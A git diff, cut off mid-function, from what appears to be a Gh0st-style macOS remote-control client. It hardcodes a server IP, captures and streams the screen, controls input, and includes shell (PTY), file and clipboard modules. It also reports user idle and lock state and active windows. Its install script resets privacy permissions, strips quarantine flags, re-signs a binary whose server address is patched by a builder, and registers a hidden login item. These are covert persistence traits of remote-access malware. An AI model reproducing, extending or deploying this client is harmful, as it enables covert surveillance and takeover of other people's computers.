kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little // BGRA
|
kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little
|
||||||
);
|
);
|
||||||
|
|
||||||
CGColorSpaceRelease(colorSpace);
|
|
||||||
|
|
||||||
if (!context) {
|
if (!context) {
|
||||||
CGImageRelease(image);
|
CGImageRelease(image);
|
||||||
NSLog(@"Failed to create bitmap context");
|
NSLog(@"Failed to create bitmap context");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Draw image into context
|
|
||||||
CGContextDrawImage(context, CGRectMake(0, 0, width, height), image);
|
CGContextDrawImage(context, CGRectMake(0, 0, width, height), image);
|
||||||
CGContextRelease(context);
|
CGContextRelease(context);
|
||||||
CGImageRelease(image);
|
CGImageRelease(image);
|
||||||
|
|
||||||
// Flip vertically (BMP is bottom-up, CGImage is top-down)
|
// Flip vertically using Accelerate framework
|
||||||
|
vImage_Buffer src = {
|
||||||
|
.data = m_tempBuffer.data(),
|
||||||
|
.height = (vImagePixelCount)height,
|
||||||
|
.width = (vImagePixelCount)width,
|
||||||
|
.rowBytes = bytesPerRow
|
||||||
|
};
|
||||||
|
vImage_Buffer dst = {
|
||||||
|
.data = buffer.data(),
|
||||||
|
.height = (vImagePixelCount)height,
|
||||||
|
.width = (vImagePixelCount)width,
|
||||||
|
.rowBytes = bytesPerRow
|
||||||
|
};
|
||||||
|
|
||||||
|
vImage_Error err = vImageVerticalReflect_ARGB8888(&src, &dst, kvImageNoFlags);
|
||||||
|
if (err != kvImageNoError) {
|
||||||
for (size_t y = 0; y < height; y++) {
|
for (size_t y = 0; y < height; y++) {
|
||||||
size_t srcRow = y;
|
memcpy(buffer.data() + (height - 1 - y) * bytesPerRow,
|
||||||
size_t dstRow = height - 1 - y;
|
m_tempBuffer.data() + y * bytesPerRow,
|
||||||
memcpy(buffer.data() + dstRow * bytesPerRow,
|
|
||||||
tempBuffer.data() + srcRow * bytesPerRow,
|
|
||||||
bytesPerRow);
|
bytesPerRow);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
@@ -559,10 +996,11 @@ uint8_t ScreenHandler::getCursorTypeIndex()
|
|||||||
// Reuse cursor position from getCursorPosition (called before this)
|
// Reuse cursor position from getCursorPosition (called before this)
|
||||||
CGPoint pos = s_cachedLogicalPos;
|
CGPoint pos = s_cachedLogicalPos;
|
||||||
|
|
||||||
// Throttle: only check if cursor moved significantly or 100ms elapsed
|
// Throttle: only check if cursor moved significantly or 250ms elapsed
|
||||||
|
// (Accessibility API is expensive, cursor type is just a visual hint)
|
||||||
uint64_t now = getTickMs();
|
uint64_t now = getTickMs();
|
||||||
bool posChanged = (fabs(pos.x - lastPos.x) > 5 || fabs(pos.y - lastPos.y) > 5);
|
bool posChanged = (fabs(pos.x - lastPos.x) > 10 || fabs(pos.y - lastPos.y) > 10);
|
||||||
if (!posChanged && (now - lastCheckTime) < 100) {
|
if (!posChanged && (now - lastCheckTime) < 250) {
|
||||||
return cachedIndex;
|
return cachedIndex;
|
||||||
}
|
}
|
||||||
lastCheckTime = now;
|
lastCheckTime = now;
|
||||||
@@ -635,13 +1073,12 @@ uint8_t ScreenHandler::getCursorTypeIndex()
|
|||||||
|
|
||||||
void ScreenHandler::captureLoop()
|
void ScreenHandler::captureLoop()
|
||||||
{
|
{
|
||||||
NSLog(@"ScreenHandler CaptureLoop started (%dx%d)", m_width, m_height);
|
NSLog(@"ScreenHandler CaptureLoop started (%dx%d)%s", m_width, m_height,
|
||||||
|
m_displayStream ? " [CGDisplayStream]" : " [Legacy]");
|
||||||
|
|
||||||
uint8_t currentAlgo = m_algorithm.load();
|
uint8_t currentAlgo = m_algorithm.load();
|
||||||
|
|
||||||
// Always send raw first frame (TOKEN_FIRSTSCREEN) to initialize server display
|
// Always send raw first frame (TOKEN_FIRSTSCREEN) to initialize server display
|
||||||
// This matches Windows client behavior: first frame is always raw bitmap,
|
|
||||||
// even in H264 mode. Server needs TOKEN_FIRSTSCREEN to set m_bIsFirst = FALSE.
|
|
||||||
sendFirstScreen();
|
sendFirstScreen();
|
||||||
|
|
||||||
// Small delay to ensure first frame is processed before H264 stream starts
|
// Small delay to ensure first frame is processed before H264 stream starts
|
||||||
@@ -650,6 +1087,23 @@ void ScreenHandler::captureLoop()
|
|||||||
while (m_running) {
|
while (m_running) {
|
||||||
uint64_t start = getTickMs();
|
uint64_t start = getTickMs();
|
||||||
|
|
||||||
|
// Wait for new frame from display stream (push model)
|
||||||
|
// This is key optimization: CPU sleeps when screen is static
|
||||||
|
if (m_displayStream) {
|
||||||
|
std::unique_lock<std::mutex> lock(m_surfaceMutex);
|
||||||
|
int fps = m_maxFPS.load();
|
||||||
|
if (fps <= 0) fps = 15;
|
||||||
|
int waitMs = 1000 / fps;
|
||||||
|
|
||||||
|
// Wait for new frame or timeout (maintains FPS even if no change)
|
||||||
|
m_surfaceCond.wait_for(lock, std::chrono::milliseconds(waitMs), [this] {
|
||||||
|
return m_hasNewFrame.load() || !m_running;
|
||||||
|
});
|
||||||
|
m_hasNewFrame.store(false);
|
||||||
|
|
||||||
|
if (!m_running) break;
|
||||||
|
}
|
||||||
|
|
||||||
uint8_t algo = m_algorithm.load();
|
uint8_t algo = m_algorithm.load();
|
||||||
|
|
||||||
// Check if algorithm changed
|
// Check if algorithm changed
|
||||||
@@ -657,18 +1111,14 @@ void ScreenHandler::captureLoop()
|
|||||||
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
|
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
|
||||||
currentAlgo = algo;
|
currentAlgo = algo;
|
||||||
|
|
||||||
// If switching to/from H264, reset encoder
|
|
||||||
if (algo == ALGORITHM_H264) {
|
if (algo == ALGORITHM_H264) {
|
||||||
// Starting H264 - will be initialized in sendH264Frame
|
|
||||||
sendH264Frame(true); // First H264 frame is keyframe
|
sendH264Frame(true); // First H264 frame is keyframe
|
||||||
} else if (m_h264Encoder) {
|
} else if (m_h264Encoder) {
|
||||||
// Switching away from H264 - close encoder
|
|
||||||
m_h264Encoder->close();
|
m_h264Encoder->close();
|
||||||
m_h264Encoder.reset();
|
m_h264Encoder.reset();
|
||||||
sendFirstScreen(); // Send full frame for DIFF modes
|
sendFirstScreen();
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// Normal frame
|
|
||||||
if (algo == ALGORITHM_H264) {
|
if (algo == ALGORITHM_H264) {
|
||||||
sendH264Frame(false);
|
sendH264Frame(false);
|
||||||
} else {
|
} else {
|
||||||
@@ -676,6 +1126,8 @@ void ScreenHandler::captureLoop()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Only use sleep-based FPS control for legacy mode
|
||||||
|
if (!m_displayStream) {
|
||||||
int fps = m_maxFPS.load();
|
int fps = m_maxFPS.load();
|
||||||
if (fps <= 0) fps = 10;
|
if (fps <= 0) fps = 10;
|
||||||
int sleepMs = 1000 / fps;
|
int sleepMs = 1000 / fps;
|
||||||
@@ -686,6 +1138,7 @@ void ScreenHandler::captureLoop()
|
|||||||
usleep(wait * 1000);
|
usleep(wait * 1000);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
NSLog(@"ScreenHandler CaptureLoop stopped");
|
NSLog(@"ScreenHandler CaptureLoop stopped");
|
||||||
}
|
}
|
||||||
|
|||||||
BIN
macos/ghost
Normal file
BIN
macos/ghost
Normal file
Binary file not shown.
122
macos/install.sh
Normal file
122
macos/install.sh
Normal file
@@ -0,0 +1,122 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# macOS Ghost Client 安装脚本
|
||||||
|
# 用法: ./install.sh [ghost路径]
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
APP_DIR="/Applications/GhostClient.app"
|
||||||
|
APP_BIN="$APP_DIR/Contents/MacOS/ghost"
|
||||||
|
|
||||||
|
# 源 binary 优先级:
|
||||||
|
# 1) 命令行参数显式指定
|
||||||
|
# 2) 脚本同目录的 ghost(拷贝分发场景,不带源码/不重编)
|
||||||
|
# 3) build/bin/ghost(标准构建产物)
|
||||||
|
if [ -n "$1" ]; then
|
||||||
|
GHOST_SRC="$1"
|
||||||
|
elif [ -f "$SCRIPT_DIR/ghost" ]; then
|
||||||
|
GHOST_SRC="$SCRIPT_DIR/ghost"
|
||||||
|
else
|
||||||
|
GHOST_SRC="$SCRIPT_DIR/build/bin/ghost"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "=== GhostClient 安装程序 ==="
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# 检查源文件
|
||||||
|
if [ ! -f "$GHOST_SRC" ]; then
|
||||||
|
echo "错误: 找不到 ghost 二进制"
|
||||||
|
echo " 尝试过: $SCRIPT_DIR/ghost"
|
||||||
|
echo " 尝试过: $SCRIPT_DIR/build/bin/ghost"
|
||||||
|
echo ""
|
||||||
|
echo "请先编译: ./build.sh"
|
||||||
|
echo "或将 ghost 二进制放到脚本同目录"
|
||||||
|
echo "或指定路径: $0 <ghost可执行文件路径>"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "源文件: $GHOST_SRC"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
# 1. 停止旧进程
|
||||||
|
echo "[1/7] 停止旧进程..."
|
||||||
|
pkill -9 -f "$APP_BIN" 2>/dev/null || true
|
||||||
|
|
||||||
|
# 2. 重置系统权限(关键步骤!避免权限缓存导致空白桌面)
|
||||||
|
echo "[2/7] 重置系统权限..."
|
||||||
|
echo " (这会清除屏幕录制和辅助功能的旧授权,需要重新授权)"
|
||||||
|
tccutil reset ScreenCapture 2>/dev/null || true
|
||||||
|
tccutil reset Accessibility 2>/dev/null || true
|
||||||
|
|
||||||
|
# 3. 创建应用程序包
|
||||||
|
echo "[3/7] 创建应用程序..."
|
||||||
|
sudo rm -rf "$APP_DIR"
|
||||||
|
sudo mkdir -p "$APP_DIR/Contents/MacOS"
|
||||||
|
sudo mkdir -p "$APP_DIR/Contents/Resources"
|
||||||
|
|
||||||
|
# 复制 ghost 到 app bundle 内部
|
||||||
|
sudo cp "$GHOST_SRC" "$APP_BIN"
|
||||||
|
sudo chmod +x "$APP_BIN"
|
||||||
|
|
||||||
|
# 创建 Info.plist
|
||||||
|
sudo tee "$APP_DIR/Contents/Info.plist" > /dev/null << 'EOF'
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>CFBundleExecutable</key>
|
||||||
|
<string>ghost</string>
|
||||||
|
<key>CFBundleIdentifier</key>
|
||||||
|
<string>com.ghost.client</string>
|
||||||
|
<key>CFBundleName</key>
|
||||||
|
<string>GhostClient</string>
|
||||||
|
<key>CFBundleVersion</key>
|
||||||
|
<string>1.0</string>
|
||||||
|
<key>LSUIElement</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# 4. 清除隔离属性
|
||||||
|
echo "[4/7] 清除隔离属性..."
|
||||||
|
sudo xattr -cr "$APP_DIR"
|
||||||
|
|
||||||
|
# 5. 签名应用(ad-hoc 重签)
|
||||||
|
# 必须步骤:Apple Silicon 上未签 / 签名失效的 binary 会被 AMFI 直接 SIGKILL。
|
||||||
|
# 常见破坏签名的场景:服务端 BuildDlg 在 Windows 端 patch 了 binary 里的服务器
|
||||||
|
# 地址 → 那一页的 SHA-256 hash 跟原签名块对不上 → AMFI 拒绝运行。
|
||||||
|
# --force 替换旧签名,--deep 覆盖 bundle 内所有可执行项,--sign - 是 ad-hoc。
|
||||||
|
echo "[5/7] 签名应用 (ad-hoc, 修复 binary 修改后的签名失效)..."
|
||||||
|
sudo codesign --force --deep --sign - "$APP_DIR"
|
||||||
|
|
||||||
|
# 6. 添加到登录项(开机自启)
|
||||||
|
echo "[6/7] 添加到登录项..."
|
||||||
|
osascript -e 'tell application "System Events" to delete login item "GhostClient"' 2>/dev/null || true
|
||||||
|
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/Applications/GhostClient.app", hidden:true}' 2>/dev/null && echo " 已添加开机自启" || echo " 添加失败,请手动添加"
|
||||||
|
|
||||||
|
# 7. 完成
|
||||||
|
echo "[7/7] 安装完成!"
|
||||||
|
echo ""
|
||||||
|
echo "========================================"
|
||||||
|
echo " 下一步: 授权系统权限"
|
||||||
|
echo "========================================"
|
||||||
|
echo ""
|
||||||
|
echo "1. 启动应用 (会自动弹出权限请求):"
|
||||||
|
echo ""
|
||||||
|
echo " open /Applications/GhostClient.app"
|
||||||
|
echo ""
|
||||||
|
echo "2. 授权以下权限 (在系统设置中勾选 GhostClient):"
|
||||||
|
echo " - 屏幕录制: 允许捕获屏幕画面"
|
||||||
|
echo " - 辅助功能: 允许控制鼠标键盘"
|
||||||
|
echo ""
|
||||||
|
echo "3. 授权后重启应用:"
|
||||||
|
echo ""
|
||||||
|
echo " pkill -f GhostClient && open /Applications/GhostClient.app"
|
||||||
|
echo ""
|
||||||
|
echo "4. 查看日志确认运行状态:"
|
||||||
|
echo ""
|
||||||
|
echo " tail -f /tmp/ghost.log"
|
||||||
|
echo ""
|
||||||
|
echo "========================================"
|
||||||
|
echo ""
|
||||||
BIN
macos/lib/libsign.a
Normal file
BIN
macos/lib/libsign.a
Normal file
Binary file not shown.
617
macos/main.mm
617
macos/main.mm
@@ -1,36 +1,149 @@
|
|||||||
#import <Cocoa/Cocoa.h>
|
#import <Cocoa/Cocoa.h>
|
||||||
#import <sys/sysctl.h>
|
#import <sys/sysctl.h>
|
||||||
|
#import <sys/stat.h>
|
||||||
#import <mach/mach.h>
|
#import <mach/mach.h>
|
||||||
#import <mach-o/dyld.h>
|
#import <mach-o/dyld.h>
|
||||||
#import <pwd.h>
|
#import <pwd.h>
|
||||||
#import <signal.h>
|
#import <signal.h>
|
||||||
#import <unistd.h>
|
#import <unistd.h>
|
||||||
|
#import <fcntl.h>
|
||||||
#import <IOKit/IOKitLib.h>
|
#import <IOKit/IOKitLib.h>
|
||||||
|
#import <IOKit/pwr_mgt/IOPMLib.h>
|
||||||
#import <fstream>
|
#import <fstream>
|
||||||
#import <thread>
|
#import <thread>
|
||||||
#import <atomic>
|
#import <atomic>
|
||||||
#import <memory>
|
#import <memory>
|
||||||
#import <string>
|
#import <string>
|
||||||
|
#import <map>
|
||||||
|
|
||||||
#import "../client/IOCPClient.h"
|
#import "../client/IOCPClient.h"
|
||||||
#define XXH_INLINE_ALL
|
#define XXH_INLINE_ALL
|
||||||
#include "../common/xxhash.h"
|
#include "../common/xxhash.h"
|
||||||
|
#include "../common/rtt_estimator.h"
|
||||||
|
#include "../common/client_auth_state.h"
|
||||||
|
#include "../common/posix_net_helpers.h"
|
||||||
|
#include "../common/sub_conn_thread.h"
|
||||||
#import "Permissions.h"
|
#import "Permissions.h"
|
||||||
#import "ScreenHandler.h"
|
#import "ScreenHandler.h"
|
||||||
#import "InputHandler.h"
|
#import "InputHandler.h"
|
||||||
#import "SystemManager.h"
|
#import "SystemManager.h"
|
||||||
|
#import "../common/PTYHandler.h"
|
||||||
|
#import "../common/FileManager.h"
|
||||||
|
#import "../common/FileTransferV2.h"
|
||||||
|
#import "../common/logger.h"
|
||||||
|
#import "ClipboardHandler.h"
|
||||||
|
|
||||||
// Global state
|
// Global state
|
||||||
static std::atomic<bool> g_running(true);
|
static std::atomic<bool> g_running(true);
|
||||||
|
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
|
||||||
|
|
||||||
// Client ID (calculated from system info, used by ScreenHandler)
|
// Client ID (calculated from system info, used by ScreenHandler)
|
||||||
uint64_t g_myClientID = 0;
|
uint64_t g_myClientID = 0;
|
||||||
|
|
||||||
|
// 服务端身份校验全局状态已抽到 common/client_auth_state.h(namespace ClientAuth)
|
||||||
|
|
||||||
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||||||
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
|
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
|
||||||
|
|
||||||
State g_bExit = S_CLIENT_NORMAL;
|
State g_bExit = S_CLIENT_NORMAL;
|
||||||
|
|
||||||
|
// ============== Configuration File Functions ==============
|
||||||
|
// Config path: ~/.config/ghost/config.conf (same as Linux)
|
||||||
|
// Format: key=value (one per line)
|
||||||
|
|
||||||
|
static std::string g_configDir;
|
||||||
|
static std::string g_configPath;
|
||||||
|
static std::map<std::string, std::string> g_configData;
|
||||||
|
|
||||||
|
// Initialize config paths
|
||||||
|
static void initConfigPaths()
|
||||||
|
{
|
||||||
|
if (!g_configDir.empty()) return; // Already initialized
|
||||||
|
|
||||||
|
const char* home = getenv("HOME");
|
||||||
|
if (!home) {
|
||||||
|
struct passwd* pw = getpwuid(getuid());
|
||||||
|
if (pw) home = pw->pw_dir;
|
||||||
|
}
|
||||||
|
if (!home) home = "/tmp";
|
||||||
|
|
||||||
|
g_configDir = std::string(home) + "/.config/ghost";
|
||||||
|
g_configPath = g_configDir + "/config.conf";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Recursively create directory
|
||||||
|
static void mkdirRecursive(const std::string& path)
|
||||||
|
{
|
||||||
|
size_t pos = 0;
|
||||||
|
while ((pos = path.find('/', pos + 1)) != std::string::npos) {
|
||||||
|
mkdir(path.substr(0, pos).c_str(), 0755);
|
||||||
|
}
|
||||||
|
mkdir(path.c_str(), 0755);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load all config from file
|
||||||
|
static void loadConfig()
|
||||||
|
{
|
||||||
|
initConfigPaths();
|
||||||
|
g_configData.clear();
|
||||||
|
|
||||||
|
std::ifstream file(g_configPath);
|
||||||
|
if (!file.is_open()) return;
|
||||||
|
|
||||||
|
std::string line;
|
||||||
|
while (std::getline(file, line)) {
|
||||||
|
size_t eq = line.find('=');
|
||||||
|
if (eq != std::string::npos) {
|
||||||
|
g_configData[line.substr(0, eq)] = line.substr(eq + 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Save all config to file
|
||||||
|
static void saveConfig()
|
||||||
|
{
|
||||||
|
initConfigPaths();
|
||||||
|
mkdirRecursive(g_configDir);
|
||||||
|
|
||||||
|
std::ofstream file(g_configPath, std::ios::trunc);
|
||||||
|
if (!file.is_open()) {
|
||||||
|
NSLog(@"Failed to save config to %s", g_configPath.c_str());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const auto& kv : g_configData) {
|
||||||
|
file << kv.first << "=" << kv.second << "\n";
|
||||||
|
}
|
||||||
|
NSLog(@"Config saved to %s", g_configPath.c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get config string value
|
||||||
|
static std::string getConfigStr(const std::string& key, const std::string& def = "")
|
||||||
|
{
|
||||||
|
auto it = g_configData.find(key);
|
||||||
|
return it != g_configData.end() ? it->second : def;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set config string value
|
||||||
|
static void setConfigStr(const std::string& key, const std::string& value)
|
||||||
|
{
|
||||||
|
g_configData[key] = value;
|
||||||
|
saveConfig();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Save group name to config file
|
||||||
|
static void saveGroupName(const std::string& groupName)
|
||||||
|
{
|
||||||
|
setConfigStr("group_name", groupName);
|
||||||
|
NSLog(@"Group name saved: %s", groupName.c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load group name from config file
|
||||||
|
static std::string loadGroupName()
|
||||||
|
{
|
||||||
|
return getConfigStr("group_name");
|
||||||
|
}
|
||||||
|
|
||||||
// ============== System Information Functions ==============
|
// ============== System Information Functions ==============
|
||||||
|
|
||||||
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
|
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
|
||||||
@@ -107,6 +220,54 @@ static std::string getUsername()
|
|||||||
return user ? std::string(user) : "unknown";
|
return user ? std::string(user) : "unknown";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 读取 IOKit 维护的 IOPlatformUUID(与 Windows MachineGuid 等价)
|
||||||
|
// 这是主板/系统级 UUID,由 IOPlatformExpertDevice 服务提供,重装系统通常不变。
|
||||||
|
// 对应:Windows HKLM\Software\Microsoft\Cryptography\MachineGuid
|
||||||
|
// Linux /etc/machine-id
|
||||||
|
static std::string getMachineId()
|
||||||
|
{
|
||||||
|
std::string result;
|
||||||
|
io_service_t platformExpert = IOServiceGetMatchingService(
|
||||||
|
kIOMasterPortDefault,
|
||||||
|
IOServiceMatching("IOPlatformExpertDevice"));
|
||||||
|
if (platformExpert != IO_OBJECT_NULL) {
|
||||||
|
CFTypeRef uuidProperty = IORegistryEntryCreateCFProperty(
|
||||||
|
platformExpert, CFSTR(kIOPlatformUUIDKey),
|
||||||
|
kCFAllocatorDefault, 0);
|
||||||
|
if (uuidProperty != nullptr) {
|
||||||
|
if (CFGetTypeID(uuidProperty) == CFStringGetTypeID()) {
|
||||||
|
CFStringRef uuidStr = (CFStringRef)uuidProperty;
|
||||||
|
char buf[64] = {};
|
||||||
|
if (CFStringGetCString(uuidStr, buf, sizeof(buf), kCFStringEncodingUTF8)) {
|
||||||
|
result = buf;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
CFRelease(uuidProperty);
|
||||||
|
}
|
||||||
|
IOObjectRelease(platformExpert);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 路径归一化(macOS 版):解析符号链接 + 转小写
|
||||||
|
// realpath 把 /Applications/foo/../bar 之类折回规范形式;
|
||||||
|
// 小写化保持与 Windows/Linux 跨端一致。macOS HFS+/APFS 默认大小写不敏感,
|
||||||
|
// 转小写不改变文件标识、但避免路径串大小写差异引起 ID 不同。
|
||||||
|
static std::string normalizeExePathLower(const std::string& path)
|
||||||
|
{
|
||||||
|
char resolved[PATH_MAX] = {};
|
||||||
|
std::string out;
|
||||||
|
if (realpath(path.c_str(), resolved) != nullptr) {
|
||||||
|
out = resolved;
|
||||||
|
} else {
|
||||||
|
out = path; // 解析失败:用原值
|
||||||
|
}
|
||||||
|
for (auto& c : out) {
|
||||||
|
if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a';
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
// Get screen resolution
|
// Get screen resolution
|
||||||
static std::string getScreenResolution()
|
static std::string getScreenResolution()
|
||||||
{
|
{
|
||||||
@@ -140,9 +301,113 @@ static std::string getTimeString()
|
|||||||
return std::string([dateString UTF8String]);
|
return std::string([dateString UTF8String]);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get active application name
|
// Get user idle time in seconds (time since last keyboard/mouse input)
|
||||||
|
static double getUserIdleTime()
|
||||||
|
{
|
||||||
|
// CGEventSourceSecondsSinceLastEventType returns seconds since last event
|
||||||
|
// kCGEventSourceStateCombinedSessionState includes all input sources
|
||||||
|
CFTimeInterval idleTime = CGEventSourceSecondsSinceLastEventType(
|
||||||
|
kCGEventSourceStateCombinedSessionState,
|
||||||
|
kCGAnyInputEventType
|
||||||
|
);
|
||||||
|
// Defensive: ensure non-negative (edge case protection)
|
||||||
|
return idleTime > 0 ? idleTime : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if screen is locked
|
||||||
|
static bool isScreenLocked()
|
||||||
|
{
|
||||||
|
// Method 1: Check CGSession dictionary for screen lock status
|
||||||
|
CFDictionaryRef sessionDict = CGSessionCopyCurrentDictionary();
|
||||||
|
if (sessionDict) {
|
||||||
|
// Check for "CGSSessionScreenIsLocked" key
|
||||||
|
CFBooleanRef screenLocked = (CFBooleanRef)CFDictionaryGetValue(
|
||||||
|
sessionDict, CFSTR("CGSSessionScreenIsLocked"));
|
||||||
|
if (screenLocked && CFBooleanGetValue(screenLocked)) {
|
||||||
|
CFRelease(sessionDict);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
CFRelease(sessionDict);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Method 2: Check if loginwindow is frontmost (screen saver / lock screen)
|
||||||
|
NSRunningApplication* frontApp = [[NSWorkspace sharedWorkspace] frontmostApplication];
|
||||||
|
if (frontApp) {
|
||||||
|
NSString* bundleId = [frontApp bundleIdentifier];
|
||||||
|
if ([bundleId isEqualToString:@"com.apple.loginwindow"] ||
|
||||||
|
[bundleId isEqualToString:@"com.apple.ScreenSaver.Engine"]) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Format time as HH:MM:SS with prefix
|
||||||
|
static std::string formatStatusTime(const char* prefix, double seconds)
|
||||||
|
{
|
||||||
|
int totalSecs = (int)seconds;
|
||||||
|
int hours = totalSecs / 3600;
|
||||||
|
int mins = (totalSecs % 3600) / 60;
|
||||||
|
int secs = totalSecs % 60;
|
||||||
|
|
||||||
|
char buffer[64];
|
||||||
|
snprintf(buffer, sizeof(buffer), "%s: %02d:%02d:%02d", prefix, hours, mins, secs);
|
||||||
|
return std::string(buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get active application name or idle/locked status (works for background processes)
|
||||||
static std::string getActiveApp()
|
static std::string getActiveApp()
|
||||||
{
|
{
|
||||||
|
double idleTime = getUserIdleTime();
|
||||||
|
|
||||||
|
// Check if screen is locked first
|
||||||
|
if (isScreenLocked()) {
|
||||||
|
return formatStatusTime("Locked", idleTime);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check user idle time (matches Windows/Linux: 6 seconds threshold)
|
||||||
|
// If idle for more than 6 seconds, report inactive status
|
||||||
|
if (idleTime >= 6.0) {
|
||||||
|
return formatStatusTime("Inactive", idleTime);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Use CGWindowListCopyWindowInfo to get the frontmost window
|
||||||
|
// This works reliably even when running as a background/nohup process
|
||||||
|
CFArrayRef windowList = CGWindowListCopyWindowInfo(
|
||||||
|
kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements,
|
||||||
|
kCGNullWindowID
|
||||||
|
);
|
||||||
|
|
||||||
|
if (windowList) {
|
||||||
|
CFIndex count = CFArrayGetCount(windowList);
|
||||||
|
for (CFIndex i = 0; i < count; i++) {
|
||||||
|
CFDictionaryRef window = (CFDictionaryRef)CFArrayGetValueAtIndex(windowList, i);
|
||||||
|
|
||||||
|
// Get window layer - layer 0 is normal windows
|
||||||
|
CFNumberRef layerRef = (CFNumberRef)CFDictionaryGetValue(window, kCGWindowLayer);
|
||||||
|
int layer = 0;
|
||||||
|
if (layerRef) {
|
||||||
|
CFNumberGetValue(layerRef, kCFNumberIntType, &layer);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Skip non-normal windows (menu bar, dock, etc.)
|
||||||
|
if (layer != 0) continue;
|
||||||
|
|
||||||
|
// Get owner name (application name)
|
||||||
|
CFStringRef ownerName = (CFStringRef)CFDictionaryGetValue(window, kCGWindowOwnerName);
|
||||||
|
if (ownerName) {
|
||||||
|
char buffer[256] = {};
|
||||||
|
if (CFStringGetCString(ownerName, buffer, sizeof(buffer), kCFStringEncodingUTF8)) {
|
||||||
|
CFRelease(windowList);
|
||||||
|
return std::string(buffer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
CFRelease(windowList);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fallback to NSWorkspace (may not work for background processes)
|
||||||
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
|
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
|
||||||
if (app) {
|
if (app) {
|
||||||
NSString* name = [app localizedName];
|
NSString* name = [app localizedName];
|
||||||
@@ -179,49 +444,12 @@ static bool hasCameraDevice()
|
|||||||
// ============== Public IP ==============
|
// ============== Public IP ==============
|
||||||
|
|
||||||
// Execute command and return output
|
// Execute command and return output
|
||||||
static std::string execCmd(const std::string& cmd)
|
// execCmd / httpGet / getPublicIP 已抽到 common/posix_net_helpers.h(namespace PosixNet)。
|
||||||
{
|
// 这里保留同名 wrapper 避免改动调用点。Linux 端额外的 jsonExtract / getGeoLocation
|
||||||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
|
// macOS 暂未使用,需要时直接用 PosixNet:: 命名空间访问。
|
||||||
if (!pipe) return "";
|
static inline std::string execCmd(const std::string& cmd) { return PosixNet::execCmd(cmd); }
|
||||||
char buf[4096];
|
static inline std::string httpGet(const std::string& url, int timeoutSec = 5) { return PosixNet::httpGet(url, timeoutSec); }
|
||||||
std::string result;
|
static inline std::string getPublicIP() { return PosixNet::getPublicIP(); }
|
||||||
while (fgets(buf, sizeof(buf), pipe.get())) {
|
|
||||||
result += buf;
|
|
||||||
}
|
|
||||||
// Trim trailing whitespace
|
|
||||||
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
|
|
||||||
result.pop_back();
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
// HTTP GET using curl (macOS has curl built-in)
|
|
||||||
static std::string httpGet(const std::string& url, int timeoutSec = 5)
